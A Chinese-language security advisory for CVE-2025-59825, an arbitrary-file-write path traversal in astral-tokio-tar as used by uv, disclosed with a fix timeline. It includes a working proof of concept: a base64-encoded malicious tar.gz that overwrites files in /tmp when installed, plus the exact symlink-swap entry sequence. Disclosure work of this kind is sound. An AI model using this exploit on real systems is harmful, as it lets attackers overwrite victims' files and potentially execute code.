“Astral-tokio-tar” / “uv” 任意写入路径遍历漏洞 · 安全公告
摘要
“astral-tokio-tar”(一个被流行工具 “uv” 使用的 Rust 库)存在一个漏洞,允许在解压 tar 文件时进行任意文件写入。在 “uv” 中,此漏洞允许 Python 源码发行版在提取过程中将文件写入任意位置。
该漏洞主要源于 astral-tokio-tar 对符号链接的支持以及 “记忆化集合” 行为——该行为会跳过对已观察和验证过的路径的验证。
由于符号链接可以指向一个目录,并且可以通过在 tar 文件中包含多个条目来更改该链接,因此可以创建一个指向目标路径下良性目录的符号链接,通过验证后被添加到记忆化集合中,然后将该符号链接更改为指向磁盘上任意其他目录。
此外,还可以通过使用两个符号链接来创建一个绕过所有验证、指向任意目录的符号链接。
此漏洞允许攻击者生成能够在文件系统上创建或更改任意文件的 tar 文件。
严重性
中等 - 由于存在任意代码执行的潜在可能性。
概念验证 (PoC)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
mkdir /tmp/flag
$ echo "hello" > /tmp/flag/flag
$ ls /tmp/flag
flag
$ echo "H4sICOmxkWgCA2R1bW15cGFja2FnZS0wLjAuMS50YXIA7Zhra9swGIX92b9C86cNGsWSZasLbeku7MJYVxjsSwlBSdTUm29znLZh7L9PcrIm3ZousNQN7XkIsZFesMl5j44U2qbtw2N1+U6roS6dO8Gfserq+4FY3Ntx5nPGHXLpNMBkXKnSPN55nPBdklZxqveZDEUgpdiVNOAB5xF3HfDgGU7SdFqowTc10i2f+pS1l4favV6cxVWvR4vpf/k/EmK1/5l0WOgLEfBImHufhZFkDvHh/zunKOOseuq9tpp7z2D5xwbdivwP/s5/hvxvJP/l9fwPeUDl8yiUu1gLHmn+F9OizL/qQUWrPE025P/b8j8IxSL/I1PHhF0SkP8NcNKfxMmwNZ6OK5123VJ/n8SlHpN9cuKdJmbnN8hLTQ72A8p39oTXdWf1fdMxOhuaskUVradUEXuuezJvoa6bqVTbsuVG81w1qc7ysn7Mj98Vr1Si++RlmV9k3g7RqYoTOzyww307ejjK814i6yBPvZ9d91yX4zjPbE3duJ471ONBGRfVfNQIOybKvP6ZKofmpeD2tfx//OFt6/3Rm08bzf/b/M999kf+cxYI+L8JPupKDVWlWl9mbuoQToV7ZCzZIcu94V7N103ifjZzqpx2yDWTuS9qX7dq83bIkqPJ3o0+PoApt+/8rwf5tL3h/b/ZWTr1ST9k8yu/5vlZ/ge+YOYswKJAcIeETfp/0Z731/1r/gHt/6oNnwNn+sv19A/t/k/6LHQIrzsR+jev/+w/wI3mfyTW018yqz9jTec/9N8K/0e+Wf8DLiLr/yzPi/a6X5Su/FRp0T5N1Aj6r6O//TXvSX8ujfQ2/zmTRn8K/9/T+r/KLXez/jN+5X/JudU/klj/GyE/1+VFGVcaBzGc/xb+z/TFaZzopvzPFv4PrP+lwP6vGeZCP4H9AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADYfn4BXGg1JABQAAA=" | base64 -d > dummypackage-0.0.1.tar.gz
$ mkdir test
$ cd test
$ uv venv env
$ . env/bin/activate
$ uv pip install ../[dummypackage-0.0.1.tar.gz](http://dummypackage-0.0.1.tar.gz/)
Using Python 3.12.3 environment at: env
Resolved 1 package in 5ms
Built dummypackage @ file:///home/calebbrown/dummypackage-0.0.1.tar.gz
Prepared 1 package in 474ms
Installed 1 package in 0.95ms
+ dummypackage==0.0.1 (from file:///home/calebbrown/dummypackage-0.0.1.tar.gz)
$ ls /tmp/flag
flag newfile
$ cat /tmp/flag/flag
overwrite
$ cat /tmp/flag/newfile
newfile!
|
进一步分析
根本原因
父目录记忆化
在库版本 v0.5.0 中添加的 Entry.unpack_in_raw() 方法允许传入一个记忆化集合作为参数,以提高文件系统操作的性能。
在 “uv” 中,uv-extract 中的 untar_in() 方法会创建一个记忆化集合并使用同一个集合来提取 tar 文件中的每个条目。
记忆化集合在 EntryFields.unpack_in() 中使用以下逻辑:
1
2
3
4
5
6
7
8
|
// Validate the parent, if we haven't seen it yet.
if !memo.contains(parent) {
self.ensure_dir_created(dst, parent).await.map_err(|e| {
TarError::new(format!("failed to create `{}`", parent.display()), e)
})?;
self.validate_inside_dst(dst, parent).await?;
memo.insert(parent.to_path_buf());
}
|
在此上下文中,parent 是当前正在提取的条目的父目录。例如,如果 file_dst 是 “path/to/file.txt”,那么 parent 将是 “path/to”。
仅当 parent 尚未在 memo 中时,才会调用 self.validate_inside_dst(dst, parent)。
我们可以使用符号链接在 parent 被添加到 memo 后,更改其有效的父路径。
符号链接检查绕过
astral-tokio-tar 有一个受 allow_external_symlinks 标志保护的检查,旨在确保符号链接不指向目标目录 dst 之外。然而,此检查也可以通过按顺序创建以下两个符号链接来绕过:
"ptr" -> "noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp"
该路径通过符号链接检查,因为它最终解析为目标目录下的 “tmp”。
"noop" -> "."
该路径也通过符号链接检查,因为它解析为目标目录本身。
在两者都被创建后,“ptr” 现在实际上指向 “./../../../../../../../../../tmp”,这很可能超出了目标目录。
组合利用
现在可以使用以下 tar 条目实现任意写入:
- 目录 “decoy”.
创建目录
{dst}/decoy。
- 符号链接 “ptr” -> “decoy”.
创建符号链接
{dst}/ptr。
- 空文件 “ptr/dummy”.
提取文件
{dst}/ptr/dummy(即 {dst}/decoy/dummy)。这次写入同时导致 {dst}/ptr 被插入到 memo 中。
- 符号链接 “ptr” -> “noop/noop/noop/noop/noop/noop/noop/noop/noop/../../../../../../../../../tmp”.
替换符号链接
{dst}/ptr。
- 符号链接 “noop” -> “.”.
创建符号链接
{dst}/noop。“ptr” 现在指向 {dst}/./../../../../../../../../../tmp。
- 恶意载荷文件 “ptr/payload”.
提取文件
{dst}/ptr/payload(即 /tmp/payload)。对 {dst}/ptr 的验证被跳过,因为它已被添加到 memo 中。
相关漏洞编号:GHSA-7j9j-68r2-f35q, GHSA-3wgq-wrwc-vqmv
时间线
- 报告日期:2025年8月11日
- 修复日期:2025年9月23日
- 披露日期:2025年11月17日
附加信息
- CVE ID: CVE-2025-59825
- 受影响版本: astral-tokio-tar <= 0.5.3
- 已修复版本: > 0.8.22